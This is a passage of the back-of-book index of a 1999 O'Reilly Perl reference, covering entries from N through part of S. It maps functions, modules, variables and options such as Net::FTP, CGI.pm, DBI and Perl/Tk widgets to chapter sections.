next_labeled_message() (Mail::Folder) : Chapter 14, Reference: next_labeled_message
next_message() (Mail::Folder) : Chapter 14, Reference: next_message
nlst() (Net::FTP) : Chapter 16, Reference: nlst
NNTP (Network News Transfer Protocol) : 15. Usenet News
nntppost() (Mail::Internet) : Chapter 14, Reference: nntppost
nntpstat() (Net::NNTP) : Chapter 15, Reference: nntpstat
no() : Chapter 5, Reference: no
no_proxy() (LWP::UserAgent) : Chapter 17, Reference: no_proxy
no_visits() (LWP::RobotUA) : Chapter 17, Reference: no_visits
non-greedy matching : 4.6.6. Quantifiers
none index (Menu widget) : 18.15.1. Menu Indexes
NonStop option (PERLDB_OPTS) : 6.4. Customizing the Debugger
noTTY option (PERLDB_OPTS) : 6.4. Customizing the Debugger
nph() (CGI.pm) : Chapter 10, Reference: nph
$NR variable : 4.4.1. Global Special Variables
NTFS file permissions : 19.6. Win32::FileSecurity
NULLABLE attribute (DBI) : 12.2.3. Database Handles and Statement Handles
NUM_OF_FIELDS attribute (DBI) : 12.2.3. Database Handles and Statement Handles
NUM_OF_PARAMS attribute (DBI) : 12.2.3. Database Handles and Statement Handles
numbers : 4.2.1. Numbers
\d (digit) character class : 4.6.4. Character Classes
\D (nondigit) character class : 4.6.4. Character Classes
fixed-precision numeric fields : 4.10. Formats
functions for : 5.1. Perl Functions by Category

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

o command (CPAN.pm) : Chapter 2, Reference: o
O command (Perl debugger) : Chapter 6, Reference: O
-O file test operator : 4.5.8. File Test Operators
-o file test operator : 4.5.8. File Test Operators
O module : 8.115. O
-O option (dprofpp) : 6.5. The Perl Profiler
-o option (perlcc) : 3.4. The Perl Compiler
o pattern match modifier : 4.6.1. Pattern-Matching Operators
object-oriented programming : 7.3. Object-Oriented Perl
objects : 7.3. Object-Oriented Perl
functions for : 5.1. Perl Functions by Category
instance vs. class methods : 7.4. Object Syntax
obtaining Perl modules
2.2. How Is CPAN Organized?
2.4. Getting and Installing Modules
obtaining Perl source code : 2. Installing Perl
oct() : Chapter 5, Reference: oct
ODBM_File module : 8.116. ODBM_File
-offvalue option
Checkbutton widget : 18.5. The Checkbutton Widget
Menubutton widget : 18.14.1. Menu Item Options
$OFMT ($#) variable : 4.4.1. Global Special Variables
$OFS ($,) variable : 4.4.1. Global Special Variables
-ok option (perlbug) : 6.6. The perlbug Program
-okay option (perlbug) : 6.6. The perlbug Program
OLE automation : 19.18. OLE Automation
-onvalue option
Checkbutton widget : 18.5. The Checkbutton Widget
Menubutton widget : 18.14.1. Menu Item Options
Opcode module : 8.117. Opcode
open()
Chapter 5, Reference: open
4.9. Filehandles
document object (PerlScript) : 20.1.1.1. Document methods
Mail::Folder module : Chapter 14, Reference: open
Mail::Mailer module : Chapter 14, Reference: open
Mail::Send module
Chapter 14, Reference: open
14.2.2. Better Header Control with Mail::Send
Win32::Mutex module : 19.9. Win32::Mutex
Win32::Semaphore module : 19.14. Win32::Semaphore
Open() (Win32::Registry) : 19.13. Win32::Registry
opendir() : Chapter 5, Reference: opendir
OpenRequest() (Win32::Internet) : Chapter 19, Reference: OpenRequest
OpenURL() (Win32::Internet) : Chapter 19, Reference: OpenURL
operators : 4.5. Operators
ops module : 8.118. ops
Optionmenu widget (Perl/Tk) : 18.16. The Optionmenu Widget
-options option (Optionmenu) : 18.16. The Optionmenu Widget
OR (|) operator, bitwise : 4.5.10. Bitwise Operators
OR (||) operator, logical : 4.5.9. Logical Operators
oraperl package : 12.2. Design of DBI
ord() : Chapter 5, Reference: ord
-orient option
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
$ORS ($\) variable : 4.4.1. Global Special Variables
Orwant, Jon : 1.4.7. The Perl Journal
$OS_ERROR ($!) variable : 4.4.1. Global Special Variables
$OSNAME ($^O) variable : 4.4.1. Global Special Variables
output
(see also input)
5.1. Perl Functions by Category
formats for : 4.10. Formats
$OUTPUT_AUTOFLUSH ($|) variable : 4.4.6. Filehandle Special Variables
$OUTPUT_FIELD_SEPARATOR ($,) variable : 4.4.1. Global Special Variables
$OUTPUT_RECORD_SEPARATOR ($\) variable : 4.4.1. Global Special Variables
OutputCP() (Win32::Console) : Chapter 19, Reference: OutputCP
=over command (pod) : Chapter 4, Reference: =over
overload module : 8.119. overload
overridedirect() (Frame widget) : 18.18.1. Toplevel Methods
overview_fmt() (Net::NNTP) : Chapter 15, Reference: overview_fmt

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

p command (Perl debugger) : Chapter 6, Reference: p
-p file test operator : 4.5.8. File Test Operators
-p option (dprofpp) : 6.5. The Perl Profiler
-p option (perl) : 3.2. Command-Line Options
-P option (perl) : 3.2. Command-Line Options
pack() : Chapter 5, Reference: pack
Mail::Folder folder : Chapter 14, Reference: pack
pack geometry manager (Perl/Tk) : 18.2. Geometry Managers
package() : Chapter 5, Reference: package
__PACKAGE__ constant : 4.4.4. Global Special Constants
package statement : 7.1. Namespaces and Packages
packages : 7.1. Namespaces and Packages
packet-oriented communication : 13. Sockets
packForget() (pack geometry manager) : 18.2.1.1. Pack methods
packInfo() (pack geometry manager) : 18.2.1.1. Pack methods
packPropogate() (pack geometry manager) : 18.2.1.1. Pack methods
packSlaves() (pack geometry manager) : 18.2.1.1. Pack methods
-padx, -pady options : 18.3. Common Widget Configuration Options
grid geometry manager : 18.2.2. The grid Geometry Manager
pack geometry manager : 18.2.1. The pack Geometry Manager
paragraph tags (pod) : 4.11.1. Paragraph tags
param() (CGI.pm)
Chapter 10, Reference: param
10. The CGI.pm Module
params() (URI::URL) : Chapter 17, Reference: params
parent() (HTML::Parser) : Chapter 17, Reference: parent
parentheses ()
around function arguments : 5. Function Reference
operator precedence and : 4.5. Operators
regular expression metacharacter : 4.6.2. Regular Expression Syntax
(?...) extended regular expression syntax : 4.6.8. Extended Regular Expressions
parse()
HTML::Parser module : Chapter 17, Reference: parse
Mail::Address module : Chapter 14, Reference: parse
parse_file() (HTML::Parser) : Chapter 17, Reference: parse_file
parse_head() (LWP::UserAgent) : Chapter 17, Reference: parse_head
parsing command-line options : 3.2. Command-Line Options
parsing email addresses : 14.2.6. Parse Email Addresses with Mail::Address
Pass() (Mail::POP3Client) : Chapter 14, Reference: Pass
pass() (Net::POP3)
Chapter 14, Reference: pass
14.1.3. Retrieving Email with Net::POP3
PASS command (POP3) : 14.1.3. Retrieving Email with Net::POP3
passing arguments to subroutines : 4.7.2. Passing Arguments
passing references to subroutines : 4.7.3. Passing References
password()
Net::Netrc module : Chapter 16, Reference: password
URI::URL module : Chapter 17, Reference: password
password entries (.netrc) : 16.3. FTP Configuration with Net::Netrc
Password() (Win32::Internet) : Chapter 19, Reference: Password
password_field() (CGI.pm) : Chapter 10, Reference: password_field
pasv() (Net::FTP) : Chapter 16, Reference: pasv
Pasv() (Win32::Internet) : Chapter 19, Reference: Pasv
pasv_wait() (Net::FTP) : Chapter 16, Reference: pasv_wait
pasv_xfer() (Net::FTP) : Chapter 16, Reference: pasv_xfer
pasv_xfer_unique() (Net::FTP) : Chapter 16, Reference: pasv_xfer_unique
patches for Perl source code : 2.3.1.2. Patches
path()
Mail::Address module : Chapter 14, Reference: path
URI::URL module : Chapter 17, Reference: path
Path property (response cookies) : 20.2.2.1. Setting cookies
PATH variable : 3.3. Environment Variables
searching for scripts using : 3.2. Command-Line Options
path_info() (CGI.pm) : Chapter 10, Reference: path_info
PATH_INFO variable
9.3. Extra Path Information
9.4. CGI Environment Variables
path_translated() (CGI.pm) : Chapter 10, Reference: path_translated
PATH_TRANSLATED variable
9.3. Extra Path Information
9.4. CGI Environment Variables
PATHEXT variable : 3.3. Environment Variables
pattern matching functions : 5.1. Perl Functions by Category
pattern matching operators
4.5.7. Pattern Match Operators
4.6.1. Pattern-Matching Operators
PauseService() (Win32::Service) : Chapter 19, Reference: PauseService
PeekInput() (Win32::Console) : Chapter 19, Reference: PeekInput
Peer option (IO::Socket::UNIX) : 13.2.5. IO::Socket::UNIX Reference
peeraddr() (IO::Socket::INET) : Chapter 13, Reference: peeraddr
PeerAddr option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
peerhost() (IO::Socket::INET) : Chapter 13, Reference: peerhost
peerpath (IO::Socket::UNIX) : Chapter 13, Reference: peerpath
peerport() (IO::Socket::INET) : Chapter 13, Reference: peerport
PeerPort option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
percent sign (%)
dereferencing with : 4.8.2. Dereferencing
modulus operator : 4.5.3. Arithmetic Operators
prototype symbol (hash) : 4.7.5. Prototypes
%= (assignment) operator : 4.5.6. Assignment Operators
performance
CGI programs : 9. CGI Overview
CGI scripts, with mod_perl : 11.4. Running CGI Scripts with mod_perl
period : (see . (dot))
perl (Perl interpreter) : 3. The Perl Interpreter
command processing : 3.1. Command Processing
command-line options : 3.2. Command-Line Options
perl-bin directory : 11.4. Running CGI Scripts with mod_perl
Perl compiler : 3.4. The Perl Compiler
PERL_DEBUG_MSTATS variable : 3.3. Environment Variables
Perl debugger : 6.1. The Perl Debugger
commands for : 6.2. Debugger Commands
customizing : 6.4. Customizing the Debugger
PERL_DESTRUCT_LEVEL variable : 3.3. Environment Variables
<Perl> directives (Apache) : 11.6. <Perl> Sections
Perl Institute : 1.4.5. The Perl Institute (www.perl.org)
Perl Journal : 1.4.7. The Perl Journal
Perl language
(see also scripts, Perl)
3.2. Command-Line Options
bugs in, reporting : 6.6. The perlbug Program
development of : 1.2. Perl Development
documentation
2.5. Documentation
4.11. Pod
= to signify in programs : 4.1. Program Structure
utilities for : 4.11.3. Pod Utilities
example scripts : 2.3.1.1. Perl examples
installing source code : 2.3. Installing Perl
modules : (see modules, Perl)
obtaining source from CPAN : 2. Installing Perl
resources : 1.4. Perl Resources
uses of : 1.1. What's Perl Good For?
PERL_MAILERS variable : 14.2.1. Send Email with Mail::Mailer
PERL_MODULE_EXT variable : 3.4. The Perl Compiler
Perl Package Manager (PPM) : 2.4.3.2. Using the Perl Package Manager
Perl Porters : 1.2. Perl Development
Perl profiler (DProf) : 6.5. The Perl Profiler
PERL_SCRIPT_EXT variable : 3.4. The Perl Compiler
perl-script handler
11.3. mod_perl Handlers
11.4. Running CGI Scripts with mod_perl
$PERL_VERSION ($]) variable : 4.4.1. Global Special Variables
Perl/Tk : 18. Perl/Tk
callbacks : 18.1.3. Callbacks
colors and fonts : 18.1.4. Colors and Fonts
geometry managers : 18.2. Geometry Managers
scrollbars : 18.1.2. Scrollbars
widgets : 18.1. Widgets
Button widget : 18.4. The Button Widget
Canvas widget : 18.12. The Canvas Widget
Checkbutton widget : 18.5. The Checkbutton Widget
common configuration options : 18.3. Common Widget Configuration Options
Entry widget : 18.8. The Entry Widget
Frame widget : 18.17. The Frame Widget
Label widget : 18.7. The Label Widget
Listbox widget : 18.10. The Listbox Widget
Menu widget : 18.15. The Menu Widget
Menubutton widget : 18.14. The Menubutton Widget
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
Text widget : 18.11. The Text Widget
toplevel widget : 18.18. The Toplevel Widget
widgets methods : 18.1.1. Widget Methods
PERL5LIB variable : 3.3. Environment Variables
PERL5OPT variable : 3.3. Environment Variables
PERL5SHELL variable : 3.3. Environment Variables
perlbug program : 6.6. The perlbug Program
perlcc utility : 3.4. The Perl Compiler
.perldb file : 6.4. Customizing the Debugger
$PERLDB ($^P) variable : 4.4.1. Global Special Variables
PERLDB_OPTS variable : 6.4. Customizing the Debugger
perldoc command : 2.5.1. Installing the Documentation
perldoc utility : Chapter 4, Reference: perldoc
PerlHandler directive (mod_perl)
11.3. mod_perl Handlers
11.4. Running CGI Scripts with mod_perl
PERLLIB variable : 3.3. Environment Variables
PerlModule directive (mod_perl) : 11.4. Running CGI Scripts with mod_perl
PerlScript : 20. PerlScript
client-side PerlScript : 20.1. Client-Side PerlScript
server-side PerlScript : 20.2. Server-Side PerlScript
PerlSendHeader directive (mod_perl) : 11.4. Running CGI Scripts with mod_perl
phrase() (Mail::Address)
Chapter 14, Reference: phrase
14.2.6. Parse Email Addresses with Mail::Address
Pics property (Response object) : 20.2.2.2. Response properties
$PID ($$) variable : 4.4.1. Global Special Variables
ping() (DBI) : Chapter 12, Reference: ping
pipe() : Chapter 5, Reference: pipe
place geometry manager (Perl/Tk) : 18.2.3. The Place Geometry Manager
placeForget() (place geometry manager) : 18.2.3. The Place Geometry Manager
placeholders (DBI) : 12.2.4. Placeholders database and statement handles
placeInfo() (place geometry manager) : 18.2.3. The Place Geometry Manager
placeSlaves() (place geometry manager) : 18.2.3. The Place Geometry Manager
platforms : 1.3. Which Platforms Support Perl?
plus (+)
2 : 4.5.5. Autoincrement and Autodecrement
regular expression metacharacter : 4.6.2. Regular Expression Syntax
unary operator : 4.5.2. Unary Operators
+= (assignment) operator : 4.5.6. Assignment Operators
+? regular expression quantifier : 4.6.6. Quantifiers
.pm filename extension : 7.1. Namespaces and Packages
=pod command (pod) : Chapter 4, Reference: =pod
pod documentation
2.5. Documentation
4.11. Pod
= to signify in programs : 4.1. Program Structure
utilities for : 4.11.3. Pod Utilities
Pod::Functions module : 8.120. Pod::Functions
Pod::Html module : 8.121. Pod::Html
Pod::Text module : 8.122. Pod::Text
pod2fm utility : Chapter 4, Reference: pod2fm
pod2html utility
Chapter 4, Reference: pod2html
8.121. Pod::Html
pod2latex utility : Chapter 4, Reference: pod2latex
pod2man utility : Chapter 4, Reference: pod2man
pod2text utility
Chapter 4, Reference: pod2text
8.122. Pod::Text
pop() : Chapter 5, Reference: pop
POP3 protocol, interface to
14.1.3. Retrieving Email with Net::POP3
14.2.8. Reading Email with Mail::POP3Client
POPStat() (Mail::POP3Client) : Chapter 14, Reference: POPStat
popstat() (Net::POP3) : Chapter 14, Reference: popstat
popup_menu() (CGI.pm) : Chapter 10, Reference: popup_menu
port()
Net::FTP module : Chapter 16, Reference: port
URI::URL module : Chapter 17, Reference: port
Port() (Mail::POP3Client) : Chapter 14, Reference: Port
Porters : 1.2. Perl Development
pos() (HTML::Parser) : Chapter 17, Reference: pos
pos() : Chapter 5, Reference: pos
positionfrom() (Frame widget) : 18.18.1. Toplevel Methods
POSIX module : 8.123. POSIX
post command (NNTP) : 15.1. The NNTP Protocol
post() (Menu widget) : 18.15.2. Menu Methods
POST method (CGI)
9.1.1. Transferring the Form Data
17.3.1. HTTP::Request
post() (Net::NNTP) : Chapter 15, Reference: post
Post Office Protocol (POP3)
14.1.3. Retrieving Email with Net::POP3
14.2.8. Reading Email with Mail::POP3Client
postcascade() (Menu widget) : 18.15.2. Menu Methods
-postcommand option (Menu) : 18.15. The Menu Widget
posting news articles : 15.1. The NNTP Protocol
$POSTMATCH ($') variable : 4.4.5. Regular Expression Special Variables
postok() (Net::NNTP) : Chapter 15, Reference: postok
postscript() (Canvas) : 18.12.3. Canvas Methods
PostScript, converting HTML parse tree to : 17.4.4. HTML::FormatPS
pound sign : (see # (hash mark))
PPM (Perl Package Manager) : 2.4.3.2. Using the Perl Package Manager
precedence, operator : 4.5. Operators
predefined Perl variables : 4.4. Special Variables
$PREMATCH ($`) variable : 4.4.5. Regular Expression Special Variables
prepare() (DBI)
Chapter 12, Reference: prepare
12.2.3. Database Handles and Statement Handles
prev_labeled() (Mail::Folder) : Chapter 14, Reference: prev_labeled_message
prev_message() (Mail::Folder) : Chapter 14, Reference: prev_message
print() : Chapter 5, Reference: print
Socket module : 13.1.2. Client Connections
print_header() (Mail::Internet) : Chapter 14, Reference: print_header
PrintError attribute (DBI) : 12.2.3. Database Handles and Statement Handles
printf() : Chapter 5, Reference: printf
private variables
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
process management : 19.12. Win32::Process
$PROCESS_ID ($$) variable : 4.4.1. Global Special Variables
product_tokens() (HTTP::Daemon) : Chapter 17, Reference: product_tokens
profiler, Perl (DProf) : 6.5. The Perl Profiler
-prog option (perlcc) : 3.4. The Perl Compiler
program flow control functions : 5.1. Perl Functions by Category
program structure : 4.1. Program Structure
$PROGRAM_NAME ($0) variable : 4.4.1. Global Special Variables
properties, document object (PerlScript) : 20.1.1.2. Document properties
Proto option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
protocol()
Frame widget module : 18.18.1. Toplevel Methods
HTTP::Message module : Chapter 17, Reference: protocol
IO::Socket module : Chapter 13, Reference: protocol
prototype() : Chapter 5, Reference: prototype
prototypes for subroutines
4.7. Subroutines
4.7.5. Prototypes
proxy() (LWP::UserAgent) : Chapter 17, Reference: proxy
push() : Chapter 5, Reference: push
push_content() (HTML::Parser) : Chapter 17, Reference: push_content
push_header() (HTTP::Headers) : Chapter 17, Reference: push_header
Put() (Win32::Internet) : Chapter 19, Reference: Put
put() (Net::FTP) : Chapter 16, Reference: put
PUT requests (CGI) : 17.3.1. HTTP::Request
put_unique() (Net::FTP) : Chapter 16, Reference: put_unique
pwd() (Net::FTP) : Chapter 16, Reference: pwd
Pwd() (Win32::Internet) : Chapter 19, Reference: Pwd

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q command (CPAN.pm) : Chapter 2, Reference: q
q command (Perl debugger) : Chapter 6, Reference: q
-Q option (dprofpp) : 6.5. The Perl Profiler
-q option (dprofpp) : 6.5. The Perl Profiler
q// pattern match operator
Chapter 5, Reference: q/string/
4.6.1. Pattern-Matching Operators
qty() (Mail::Folder) : Chapter 14, Reference: qty
quantifiers for regular expressions : 4.6.6. Quantifiers
query() (URI::URL) : Chapter 17, Reference: query
QUERY_STRING variable
9.1.1. Transferring the Form Data
9.4. CGI Environment Variables
QueryDataAvailable() (Win32::Internet) : Chapter 19, Reference: QueryDataAvailable
QueryInfo() (Win32::Internet) : Chapter 19, Reference: QueryInfo
QueryKey() (Win32::Registry) : Chapter 19, Reference: QueryKey
QueryObjectType() (Win32::OLE) : Chapter 19, Reference: QueryObjectType
QueryOption() (Win32::Internet) : Chapter 19, Reference: QueryOption
QueryString collection : 20.2.1. The Request Object
QueryValue() (Win32::Registry) : Chapter 19, Reference: QueryValue
question mark (?)
regular expression metacharacter : 4.6.2. Regular Expression Syntax
?: (conditional) operator : 4.5.11.2. Conditional operator
?? regular expression quantifier : 4.6.6. Quantifiers
?...? pattern match operator : 4.6.1. Pattern-Matching Operators
?...? Perl debugger command : Chapter 6, Reference: ?pattern?
QUIT command (SMTP) : 14.1.2. The SMTP Protocol and the SMTP Session
quit()
Net::FTP module : Chapter 16, Reference: quit
Net::NNTP module : Chapter 15, Reference: quit
Net::POP3 module : Chapter 14, Reference: quit
Net::SMTP module : Chapter 14, Reference: quit
quot() (Net::FTP) : Chapter 16, Reference: quot
quote() (DBI) : Chapter 12, Reference: quote
quotemeta() : Chapter 5, Reference: quotemeta
quoting schemes : 4.2.2. String Interpolation

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r command (CPAN.pm) : Chapter 2, Reference: r
R command (Perl debugger) : Chapter 6, Reference: R
r command (Perl debugger) : Chapter 6, Reference: r
-r file test operator : 4.5.8. File Test Operators
-R file test operator : 4.5.8. File Test Operators
-r option (dprofpp) : 6.5. The Perl Profiler
-r option (perlbug) : 6.6. The perlbug Program
\r (carriage return) sequence : 4.6.3. Escaped Sequences
radio_group() (CGI.pm) : Chapter 10, Reference: radio_group
radiobutton() (Menubutton) : 18.14.2. Menubutton Methods
Radiobutton widget (Perl/Tk) : 18.6. The Radiobutton Widget
raise() (Canvas) : 18.12.3. Canvas Methods
RaiseErrot attribute (DBI) : 12.2.3. Database Handles and Statement Handles
rand() : Chapter 5, Reference: rand
range (..) operator : 4.5.11.1. Range operator
range (...) operator : 4.5.11.1. Range operator
raw_cookie() (CGI.pm) : Chapter 10, Reference: raw_cookie
RC_ mnemonics (HTTP::Status) : 17.3.4. HTTP::Status
RCPT command (SMTP) : 14.1.2. The SMTP Protocol and the SMTP Session
re module : 8.124. re
read() : Chapter 5, Reference: read
Read() (Win32::EventLog) : Chapter 19, Reference: Read
ReadAttr() (Win32::Console) : Chapter 19, Reference: ReadAttr
ReadChar() (Win32::Console) : Chapter 19, Reference: ReadChar
readdir() : Chapter 5, Reference: readdir
ReadEntireFile() (Win32::Internet) : Chapter 19, Reference: ReadEntireFile
reader() (Net::NNTP) : Chapter 15, Reference: reader
ReadFile() (Win32::Internet) : Chapter 19, Reference: ReadFile
reading email messages (Mail::POP3Client) : 14.2.8. Reading Email with Mail::POP3Client
reading news articles : 15.1. The NNTP Protocol
ReadLine option (PERLDB_OPTS) : 6.4. Customizing the Debugger
readline() : Chapter 5, Reference: readline
readlink() : Chapter 5, Reference: readlink
readme command (CPAN.pm) : Chapter 2, Reference: readme
ReadParse() (CGI.pm) : Chapter 10, Reference: ReadParse
readpipe() : Chapter 5, Reference: readpipe
ReadRect() (Win32::Console) : Chapter 19, Reference: ReadRect
$REAL_GROUP_ID ($() variable : 4.4.1. Global Special Variables
$REAL_USER_ID ($<) variable : 4.4.1. Global Special Variables
recipient() (Net::SMTP) : Chapter 14, Reference: recipient
recompile command (CPAN.pm) : Chapter 2, Reference: recompile
record separator, specifying : 3.2. Command-Line Options
records, functions for : 5.1. Perl Functions by Category
recv() : Chapter 5, Reference: recv
Socket module : 13.1. Built-in Socket Functions
redirect() (CGI.pm) : Chapter 10, Reference: redirect
Redirect() (Response object, PerlScript) : 20.2.2.3. Response methods
redo command : 4.3.1.5. Loop control
redo() : Chapter 5, Reference: redo
ref()
Chapter 5, Reference: ref
4.8.2. Dereferencing
references
(see also scalars)
4.8. References and Complex Data Structures
4.8.1. Creating References
passing to subroutines : 4.7.3. Passing References
referer() (CGI.pm) : Chapter 10, Reference: referer
refile() (Mail::Folder) : Chapter 14, Reference: refile
-regex option (perlcc) : 3.4. The Perl Compiler
Registry access and management : 19.13. Win32::Registry
regular expressions : 4.6. Regular Expressions
anchors : 4.6.5. Anchors
character classes : 4.6.4. Character Classes
escaped sequences : 4.6.3. Escaped Sequences
extended, syntax for : 4.6.8. Extended Regular Expressions
functions for : 5.1. Perl Functions by Category
metacharacters : 4.6.2. Regular Expression Syntax
pattern match variables : 4.6.7. Pattern Match Variables
pattern matching operators
4.5.7. Pattern Match Operators
4.6.1. Pattern-Matching Operators
quantifiers : 4.6.6. Quantifiers
special (predefined) variables : 4.4.5. Regular Expression Special Variables
rel() (URI::URL) : Chapter 17, Reference: rel
relational operators : 4.5.4.1. Relational operators
release()
Win32::Mutex module : Chapter 19, Reference: release
Win32::Semaphore module : Chapter 19, Reference: release
-relheight, -relwidth options (place geometry manager) : 18.2.3. The Place Geometry Manager
-relief option (widgets) : 18.3. Common Widget Configuration Options
reload command (CPAN.pm) : Chapter 2, Reference: reload
-relx, -rely options (place geometry manager) : 18.2.3. The Place Geometry Manager
REMOTE_ADDR variable : 9.4. CGI Environment Variables
remote_host() (CGI.pm) : Chapter 10, Reference: remote_host
REMOTE_HOST variable : 9.4. CGI Environment Variables
REMOTE_IDENT variable : 9.4. CGI Environment Variables
remote_user() (CGI.pm) : Chapter 10, Reference: remote_user
REMOTE_USER variable : 9.4. CGI Environment Variables
remove_header() (HTTP::Headers) : Chapter 17, Reference: remove_header
remove_sig() (Mail::Internet) : Chapter 14, Reference: remove_sig
Rename() (Win32::Internet) : Chapter 19, Reference: Rename
rename() : Chapter 5, Reference: rename
Net::FTP module : Chapter 16, Reference: rename
-repeatdelay option
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
-repeatinterval option
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
reply() (Mail::Internet) : Chapter 14, Reference: reply
Report() (Win32::EventLog) : Chapter 19, Reference: Report
reporting bugs in Perl : 6.6. The perlbug Program
request() (LWP::UserAgent) : 17.2.3. LWP::UserAgent
Request() (Win32::Internet) : Chapter 19, Reference: Request
Request object (PerlScript) : 20.2. Server-Side PerlScript
request_method() (CGI.pm) : Chapter 10, Reference: request_method
REQUEST_METHOD environment variable : 9.4. CGI Environment Variables
requests, HTTP
HTTP::Request module
17.1. LWP Overview
17.3.1. HTTP::Request
UserAgent object for
17.1. LWP Overview
17.2. The LWP Modules
17.2.3. LWP::UserAgent
require() : Chapter 5, Reference: require
require directives : 7.2. Modules
reset() : Chapter 5, Reference: reset
CGI.pm module : Chapter 10, Reference: reset
Net::POP3 module : Chapter 14, Reference: reset
Net::SMTP module : Chapter 14, Reference: reset
Win32::ChangeNotification module : Chapter 19, Reference: reset
Reset()
Mail::POP3Client module
Chapter 14, Reference: Reset
14.2.8.4. Deleting and undeleting messages
Win32::OLE::Enum module : Chapter 19, Reference: Reset
resizable() (Frame widget) : 18.18.1. Toplevel Methods
-resolution option (Scale) : 18.13. The Scale Widget
Resolve() (Win32::Shortcut) : Chapter 19, Reference: Resolve
resources for further reading : 1.4. Perl Resources
resources, managing shared : 19.11. Win32::NetResource
Response object (PerlScript)
20.2. Server-Side PerlScript
20.2.2. The Response Object
responses, HTTP : 17.3.2. HTTP::Response
Resume() (Win32::Process) : Chapter 19, Reference: Resume
ResumeService() (Win32::Service) : Chapter 19, Reference: ResumeService
retr() (Net::FTP) : Chapter 16, Reference: retr
Retrieve() (Mail::POP3Client)
Chapter 14, Reference: Retrieve
14.2.8.3. Retrieving the message body
retrieving email messages : 14.1.3. Retrieving Email with Net::POP3
return() : Chapter 5, Reference: return
return statement : 4.7.2. Passing Arguments
Reuse option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
reverse() : Chapter 5, Reference: reverse
revert() (HTTP::Cookies) : Chapter 17, Reference: revert
rewinddir() : Chapter 5, Reference: rewinddir
rindex() : Chapter 5, Reference: rindex
Rmdir() (Win32::Internet) : Chapter 19, Reference: Rmdir
rmdir() : Chapter 5, Reference: rmdir
Net::FTP module : Chapter 16, Reference: rmdir
Robot User Agent : 17.2.1. LWP::RobotUA sections
rollback() (DBI) : Chapter 12, Reference: rollback
-row option (grid manager) : 18.2.2. The grid Geometry Manager
rows() (DBI) : Chapter 12, Reference: rows
-rowspan option (grid manager) : 18.2.2. The grid Geometry Manager
rules() (LWP::RobotUA) : Chapter 17, Reference: rules
-run option (perlcc) : 3.4. The Perl Compiler
RUNAT attribute (<SCRIPT>) : 20.2. Server-Side PerlScript

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

\S (nonwhitespace) character class : 4.6.4. Character Classes
\s (whitespace) character class : 4.6.4. Character Classes
s command (Perl debugger) : Chapter 6, Reference: s
S command (Perl debugger) : Chapter 6, Reference: S
-S file test operator : 4.5.8. File Test Operators
-s file test operator : 4.5.8. File Test Operators
S<> interior sequence (pod) : 4.11.2. Interior sequences
-s option (dprofpp) : 6.5. The Perl Profiler
-s option (perlbug) : 6.6. The perlbug Program
-S option (perlbug) : 6.6. The perlbug Program
s pattern match modifier
4.6.1. Pattern-Matching Operators
4.6.8. Extended Regular Expressions
-S option (perl) : 3.2. Command-Line Options
-s option (perl) : 3.2. Command-Line Options
s/// (substitution) operator
4.6. Regular Expressions
4.6.1. Pattern-Matching Operators
Safe module : 8.125. Safe
-sav option (perlcc) : 3.4. The Perl Compiler
Save()
Win32::Registry module : Chapter 19, Reference: Save
Win32::Shortcut module : Chapter 19, Reference: Save
save()
CGI.pm module : Chapter 10, Reference: save
HTTP::Cookies module : Chapter 17, Reference: save
News::Newsrc module : Chapter 15, Reference: save
save_as() (News::Newsrc) : Chapter 15, Reference: save_as
scalar()
Chapter 5, Reference: scalar
4.2.5. Scalar and List Contexts
scalar context : 4.2.5. Scalar and List Contexts
scalar prototype symbol ($) : 4.7.5. Prototypes
scalars : 4.2. Data Types and Variables
arrays of : (see arrays)
functions for manipulating : 5.1. Perl Functions by Category
lists of : (see lists)
references : (see references)
scale() (Canvas) : 18.12.3. Canvas Methods
Scale widget (Perl/Tk) : 18.13. The Scale Widget
scan()
HTTP::Cookies module : Chapter 17, Reference: scan
HTTP::Headers module : Chapter 17, Reference: scan
scheme() (URI::URL) : Chapter 17, Reference: scheme
scope, variable
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
functions for : 5.1. Perl Functions by Category
-screen option (toplevel) : 18.18. The Toplevel Widget
script object (PerlScript) : 20.1. Client-Side PerlScript
<SCRIPT> tags : 20.1. Client-Side PerlScript
script_name() (CGI.pm) : Chapter 10, Reference: script_name
